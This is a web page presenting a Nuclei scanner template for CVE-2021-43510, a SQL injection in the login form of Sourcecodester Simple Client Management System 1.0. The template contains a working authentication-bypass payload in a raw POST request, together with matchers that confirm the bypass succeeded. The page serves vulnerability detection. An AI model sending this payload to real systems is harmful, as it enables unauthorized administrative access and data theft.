Sourcecodester Simple Client Management System 1.0 - SQL Injection

ID: CVE-2021-43510

Severity: critical

Author: edoardottt

Tags: cve2021,cve,simpleclientmanagement,sqli,auth-bypass,simple_client_management_system_project

Description

Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2021-43510

info:
  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43510
    cwe-id: CWE-89
    epss-score: 0.03977
    epss-percentile: 0.92014
    cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simple_client_management_system_project
    product: simple_client_management_system
  tags: cve2021,cve,simpleclientmanagement,sqli,auth-bypass,simple_client_management_system_project

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3d'1'--+-&password=as
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "text/html")'
          - 'status_code_1 == 200'
          - 'contains(body_1, "{\"status\":\"success\"}")'
          - 'contains(body_2, "Welcome to Simple Client")'
        condition: and
# digest: 480a0045304302203529004b761fe4cd4b316d6081bf2053f99fa998dba0672b28134b2e7bed1948021f4e200d5805c44102906d223da966536bf0cf399075bdddbfb2217f78e52746:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43510.yaml"

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